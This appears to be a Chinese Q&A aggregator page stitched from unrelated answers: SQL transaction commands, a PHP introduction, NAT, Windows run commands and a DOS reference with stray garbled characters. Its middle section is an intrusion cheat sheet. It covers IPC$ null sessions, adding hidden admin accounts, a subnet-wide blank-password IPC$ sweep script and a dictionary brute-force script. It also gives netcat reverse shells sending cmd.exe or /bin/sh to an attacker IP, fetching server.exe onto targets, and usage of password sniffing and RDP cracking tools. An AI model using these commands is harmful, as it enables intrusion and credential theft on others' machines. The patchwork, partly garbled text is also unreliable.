資料庫操縱事務發生的時間及效果,對資料庫實行監視等。如:
1) GRANT:授權。
2) ROLLBACK [WORK] TO [SAVEPOINT]:回退到某一點。
回滾---ROLLBACK
回滾命令使資料庫狀態回到上次最後提交的狀態。其格式為:
SQL>ROLLBACK;
3) COMMIT [WORK]:提交。
在資料庫的插入、刪除和修改操作時,只有當事務在提交到數據
庫時才算完成。在事務提交前,只有操作資料庫的這個人才能有權看
到所做的事情,別人只有在最後提交完成後才可以看到。
提交數據有三種類型:顯式提交、隱式提交及自動提交。下面分
別說明這三種類型。
(1) 顯式提交
用COMMIT命令直接完成的提交為顯式提交。其格式為:
SQL>COMMIT;
(2) 隱式提交
用SQL命令間接完成的提交為隱式提交。這些命令是:
ALTER,AUDIT,COMMENT,CONNECT,CREATE,DISCONNECT,DROP,
EXIT,GRANT,NOAUDIT,QUIT,REVOKE,RENAME。
(3) 自動提交
若把AUTOCOMMIT設置為ON,則在插入、修改、刪除語句執行後,
系統將自動進行提交,這就是自動提交。其格式為:
SQL>SET AUTOCOMMIT ON;
PHP是一個基於服務端來創建動態網站的腳本語言,您可以用PHP和HTML生成網站主頁。當一個訪問者打開主頁時,服務端便執行PHP的命令並將執行結果發送至訪問者的瀏覽器中,這類似於ASP和CoildFusion,然而PHP和他們不同之處在於PHP開放源碼和跨越平台,PHP可以運行在WINDOWS NT和多種版本的UNIX上。它不需要任何預先處理而快速反饋結果,它也不需要mod_perl的調整來使您的伺服器的內存映象減小。PHP消耗的資源較少,當PHP作為Apache Web伺服器一部分時,運行代碼不需要調用外部二進製程序,伺服器不需要承擔任何額外的負擔。
除了能夠操作您的頁面外,PHP還能發送HIIP的標題。您可以設置cookie,管理數字簽名和重定向用戶,而且它提供了極好的連通性到其它資料庫(還有DBC),集成各種外部庫來做用PDF文檔解析XML的任何事情。
有了PHP就無需特殊的開發環境和IDE,您可以以<?php 作為程序塊的開始,可以以 ?>作為PHP代碼塊的結束,當然您也可以用帶有 <% %>的標記甚至用<script LANGUAGE=「php」></script>的ASP的格式來配置 PHP,PHP會在那些標志間處理所有的事情。
PHP的編程語言類似與C和Perl。在使用它們之前您沒必要聲明任何變數,而且建立數組和Hash是很簡單的事情。PHP還有一些面向對象的特徵,可以為組織和打包您的代碼提供很好的幫助。
雖然PHP在Apache里能快速運行,但是在PHP網站里有一些用來對Microsoft IIS 和 Netscape Enterprise Serer無縫結合的指令集。如果您還沒有 PHP的話,您可以在 http: //www.php.com 下載,您也可以使用操作手冊,它里邊包括了所有的關於PHP的功能和特性的說明
網路地址轉換 (NAT) 是一個 Internet 工程任務組 (Internet Engineering Task Force,IETF) 標准,用於允許專用網路上的多台 PC (使用專用地址段,例如 10.0.x.x、192.168.x.x、172.x.x.x) 共享單個、全局路由的 IPv4 地址。IPv4 地址日益不足是經常部署 NAT 的一個主要原因。Windows XP 和 Windows Me 中的「Internet 連接共享」及許多 Internet 網關設備都使用 NAT,尤其是在通過 DSL 或電纜數據機連接寬頻網的情況下。
NAT 對於解決 IPv4 地址耗費問題 (在 IPv6 部署中卻沒必要) 盡管很有效,但畢竟屬於臨時性的解決方案。這種 IPv4 地址佔用問題在亞洲及世界其他一些地方已比較嚴重,且日漸成為北美地區需要關注的問題。這就是人們為什麼長久以來一直關注使用 IPv6 來克服這個問題的原因所在。
除了減少所需的 IPv4 地址外,由於專用網路之外的所有主機都通過一個共享的 IP 地址來監控通信,因此 NAT 還為專用網路提供了一個隱匿層。NAT 與防火牆或代理伺服器不同,但它確實有利於安全。
❻ ■我要的是運行命令大全■
net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: \\ip\c$ 登陸後映射對方C:到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件
#2 二:
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑\文件名1 路徑\文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:\srv.exe \\ip\admin$ 復制本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
\\ip\admin$\svv.exe c:\ 或:\\ip\admin$\*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹 目標地址\目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )
#3 三:
ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況
#4 四:
IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip
#5 五:
MYSQL 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫:(命令在DOS的\\mysql\\bin目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。
#6 六:
Linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器(同win2K)
附:批處理命令與變數
1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3
(set):指定一個或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ 「(1 1 254)」第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;「(1 -1 254)」說明:即從254到1 }
command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關
IN (set):指在(set)中取值;DO command :指執行command
參數:/L 指用增量形式{ (set)為增量形式時 };/F 指從文件中不斷取值,直到取完為止{ (set)為文件時,如(d:\pass.txt)時 }。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。
/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。
#7 七:
2:if命令及變數 基本格式:
IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件為「真」。
例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程序執行最後返回的值不等於1,就執行後面的命令。
0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。
IF [not] 字元串1==字元串2 命令語句 如果指定的文本字元串匹配(即:字元串1 等於 字元串2),就執行後面的命令。
例:「if "%2%"=="4" goto start」指:如果輸入的第二個變數為4時,執行後面的命令(注意:調用變數時就%變數名%並加" ")
IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行後面的命令。
例:「if not nc.exe goto end」指:如果沒有發現nc.exe文件就跳到":end"標簽處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字元串1==字元串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才能執行,用上< >後就等於是單獨一行了;例如:「if exist test.txt. <del test.txt.> else echo test.txt.missing 」,注意命令中的「.」
(二)系統外部命令(均需下載相關工具):
1、瑞士軍刀:nc.exe
參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式,用於入站連接
-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止
nc -L -p 80 > c:\log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到CTR+C,同時把結果輸出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用:nc -l -p 本機埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用:nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用:nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。「<」,例如:tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:\winnt >> d:\log.txt 意思是:後台執行dir,並把結果存在d:\log.txt中
>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。
#8 八:
2、掃錨工具:xscan.exe
基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標准埠狀態,NT弱口令用戶,最大並發線程數量為150,跳過沒有檢測到開放埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測「hostlist.txt」文件中列出的所有主機的標准埠狀態,CGI漏洞,最大並發線程數量為200,同一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機
#9 九:
3、命令行方式嗅探器: xsniff.exe
可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後台運行嗅探密碼並將密碼信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和udp信息並以ASCII格式輸出
4、終端服務密碼破解: tscrack.exe
參數說明
-h 顯示使用幫助
-v 顯示版本信息
-s 在屏幕上打出解密能力
-b 密碼錯誤時發出的聲音
-t 同
❼ 計算機常用的命令
電腦運行命令集
winver---------檢查Windows版本
wmimgmt.msc----打開windows管理體系結構
wupdmgr--------windows更新程序
wscript--------windows腳本宿主設置
write----------寫字板
winmsd---------系統信息
wiaacmgr-------掃描儀和照相機向導
winchat--------XP自帶區域網聊天
mem.exe--------顯示內存使用情況
Msconfig.exe---系統配置實用程序
mplayer2-------簡易widnows media player
mspaint--------畫圖板
mstsc----------遠程桌面連接
mplayer2-------媒體播放機
magnify--------放大鏡實用程序
mmc------------打開控制台
mobsync--------同步命令
dxdiag---------檢查DirectX信息
drwtsn32------ 系統醫生
devmgmt.msc--- 設備管理器
dfrg.msc-------磁碟碎片整理程序
diskmgmt.msc---磁碟管理實用程序
dcomcnfg-------打開系統組件服務
ddeshare-------打開DDE共享設置
dvdplay--------DVD播放器
net stop messenger-----停止信使服務
net start messenger----開始信使服務
notepad--------打開記事本
nslookup-------網路管理的工具向導
ntbackup-------系統備份和還原
narrator-------屏幕「講述人」
ntmsmgr.msc----移動存儲管理器
ntmsoprq.msc---移動存儲管理員操作請求
netstat -an----(TC)命令檢查介面
syncapp--------創建一個公文包
sysedit--------系統配置編輯器
sigverif-------文件簽名驗證程序
sndrec32-------錄音機
shrpubw--------創建共享文件夾
secpol.msc-----本地安全策略
syskey---------系統加密,一旦加密就不能解開,保護windows xp系統的雙重密碼
services.msc---本地服務設置
Sndvol32-------音量控製程序
sfc.exe--------系統文件檢查器
sfc /scannow---windows文件保護
tsshutdn-------60秒倒計時關機命令
tourstart------xp簡介(安裝完成後出現的漫遊xp程序)
taskmgr--------任務管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打開資源管理器
packager-------對象包裝程序
perfmon.msc----計算機性能監測程序
progman--------程序管理器
regedit.exe----注冊表
rsop.msc-------組策略結果集
regedt32-------注冊表編輯器
rononce -p ----15秒關機
regsvr32 /u *.dll----停止dll文件運行
egsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁碟檢查
certmgr.msc----證書管理實用程序
calc-----------啟動計算器
charmap--------啟動字元映射表
cliconfg-------SQL SERVER 客戶端網路實用程序
Clipbrd--------剪貼板查看器
conf-----------啟動netmeeting
compmgmt.msc---計算機管理
cleanmgr-------垃圾整理
ciadv.msc------索引服務程序
osk------------打開屏幕鍵盤
odbcad32-------ODBC數據源管理器
oobe/msoobe /a----檢查XP是否激活
lusrmgr.msc----本機用戶和組
logoff---------注銷命令
iexpress-------木馬捆綁工具,系統自帶
Nslookup-------IP地址偵測器
fsmgmt.msc-----共享文件夾管理器
utilman--------輔助工具管理器
gpedit.msc-----組策略
DOS命令
全DOS命令集
(一)MD——建立子目錄p
1.功能:創建新的子目錄p
2.類型:內部命令p
3.格式:MD[盤符:][路徑名]〈子目錄名〉p
4.使用說明:p
(1)「盤符」:指定要建立子目錄的磁碟驅動器字母,若省略,則為當前驅動器;p
(2)「路徑名」:要建立的子目錄的上級目錄名,若預設則建在當前目錄下。p
例:(1)在C盤的根目錄下創建名為FOX的子目錄;(2)在FOX子目錄下再創建USER子目錄。p
C:、>MDpFOXp(在當前驅動器C盤下創建子目錄FOX)p
C:、>MDpFOXp、USERp(在FOXp子目錄下再創建USER子目錄)p
(二)CD——改變當前目錄p
1.功能:顯示當前目錄p
2.類型:內部命令p
3.格式:CD[盤符:][路徑名][子目錄名]p
4.使用說明:p
(1)如果省略路徑和子目錄名則顯示當前目錄;p
(2)如採用「CD、」格式,則退回到根目錄;p
(3)如採用「CD.。」格式則退回到上一級目錄。p
例:(1)進入到USER子目錄;(2)從USER子目錄退回到子目錄;(3)返回到根目錄。p
